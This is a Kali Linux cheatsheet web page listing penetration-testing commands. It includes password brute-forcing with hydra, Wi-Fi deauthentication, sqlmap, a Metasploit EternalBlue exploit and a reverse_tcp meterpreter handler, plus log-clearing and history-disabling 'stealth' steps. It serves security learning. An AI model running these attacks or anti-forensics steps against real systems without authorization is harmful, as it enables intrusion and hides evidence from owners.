Tag: kali docs

  • Kali Linux Cheatsheet

    Kali Linux Cheatsheet

    Offensive Security Toolkit – Penetration Testing & Ethical Hacking
    Pre-installed tools, apt package manager. Never use on production systems!
    All privileged commands require sudo or root shell.


    1. First Boot & Setup

    TaskCommand
    Start as root (default)Login: root / toor (change immediately!)
    Change root passwordpasswd
    Create normal user (recommended)useradd -m -G sudo hacker && passwd hacker
    Update & upgradesudo apt update && sudo apt full-upgrade -y
    Install Kali metapackagessudo apt install kali-linux-default (or kali-linux-everything)
    Enable SSH (remote access)sudo systemctl enable --now ssh
    Fix locale warningsexport LC_ALL=C or sudo dpkg-reconfigure locales

    2. APT (Package Management)

    ActionCommand
    Update repossudo apt update
    Full upgradesudo apt full-upgrade -y
    Install packagesudo apt install tool
    Remove packagesudo apt remove tool
    Purge (with config)sudo apt purge tool
    Clean unusedsudo apt autoremove
    Search toolapt search keyword
    List installeddpkg -l | grep ^ii
    Show tool infoapt show tool
    Fix broken depssudo apt install -f

    Kali Repos (in /etc/apt/sources.list):

    deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

    3. Essential Tools by Category

    Information Gathering

    nmap -sV -O target
    dnsenum domain.com
    theharvester -d domain.com -b all
    amass enum -d domain.com

    Web Vulnerability

    nikto -h http://site.com
    dirb http://site.com /usr/share/wordlists/dirb/common.txt
    gobuster dir -u http://site.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    sqlmap -u "http://site.com/page.php?id=1" --dbs

    Password Attacks

    hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://target
    john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
    hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

    Wireless

    airmon-ng start wlan0
    airodump-ng wlan0mon
    aireplay-ng --deauth 10 -a BSSID wlan0mon

    Exploitation

    msfconsole
    search eternalblue
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS target
    exploit

    Post-Exploitation

    meterpreter > shell
    whoami && id
    getuid
    sysinfo

    4. System Administration

    TaskCommand
    List servicessystemctl list-units --type=service
    Start PostgreSQL (Metasploit)sudo systemctl start postgresql
    Enable Metasploit DBsudo msfdb init
    View logsjournalctl -u service
    Check IPip a
    Rebootreboot
    Shutdownpoweroff
    Disk usagedf -h
    Memoryfree -h
    Processeshtop

    5. Networking

    TaskCommand
    Scan networknmap -sn 192.168.1.0/24
    Spoof MACmacchanger -r wlan0
    Start monitor modeairmon-ng start wlan0
    Stop monitorairmon-ng stop wlan0mon
    Tunnel trafficproxychains nmap -sT target
    Sniff packetstcpdump -i eth0 -w capture.pcap

    6. Metasploit Quick Start

    msfdb init
    msfconsole
    db_status
    workspace -a pentest1
    search smb
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST your_ip
    exploit -j

    7. Wordlists & Configs

    PathPurpose
    /usr/share/wordlists/RockYou, dirb, dirbuster
    /etc/proxychains.confEdit for TOR/anonsurf
    /usr/share/nmap/scripts/Custom NSE scripts
    ~/.msf4/Metasploit config & loot

    8. Stealth & Anonymity

    ToolCommand
    TOR routingsudo anonsurf start
    MAC spoofsudo macchanger -r wlan0
    Clean logssudo journalctl --vacuum-time=1d
    Disable historyset +o history

    9. Troubleshooting

    IssueCommand
    Fix APT errorssudo apt update --fix-missing
    Reinstall Kali toolssudo apt install --reinstall kali-linux-default
    Reset Metasploit DBmsfdb reinit
    Check boot issuesjournalctl -b -p err
    Regenerate initramfssudo update-initramfs -u
    Update GRUBsudo update-grub

    10. One-Liners

    # Full update + clean
    sudo apt update && sudo apt full-upgrade -y && sudo apt autoremove && sudo apt clean
    
    # Quick Nmap scan
    nmap -T4 -A -p- 192.168.1.100
    
    # Start all Kali services
    sudo systemctl start postgresql redis-server
    
    # Clone common wordlists
    git clone https://github.com/danielmiessler/SecLists.git /usr/share/wordlists/seclists
    
    # Run Nikto + save output
    nikto -h http://site.com -output nikto.txt
    
    # Start anonymous mode
    sudo anonsurf start && proxychains curl ifconfig.me

    11. Useful Tools to Install

    sudo apt install \
        metasploit-framework \
        burpsuite \
        sqlmap \
        hydra \
        john \
        hashcat \
        aircrack-ng \
        wireshark \
        bloodhound \
        impacket \
        responder \
        evil-winrm

    12. Kali Resources

    # Search tools offline
    kali-tweaks
    apt search kali-

    13. Pro Tips

    • Use Kali in VM or USB persistence – never bare metal
    • Run kali-tweaks for GUI customization
    • Use cherrytree or keepnote for engagement notes
    • Enable undercover mode: kali-undercover
    # Toggle Windows-like UI
    kali-undercover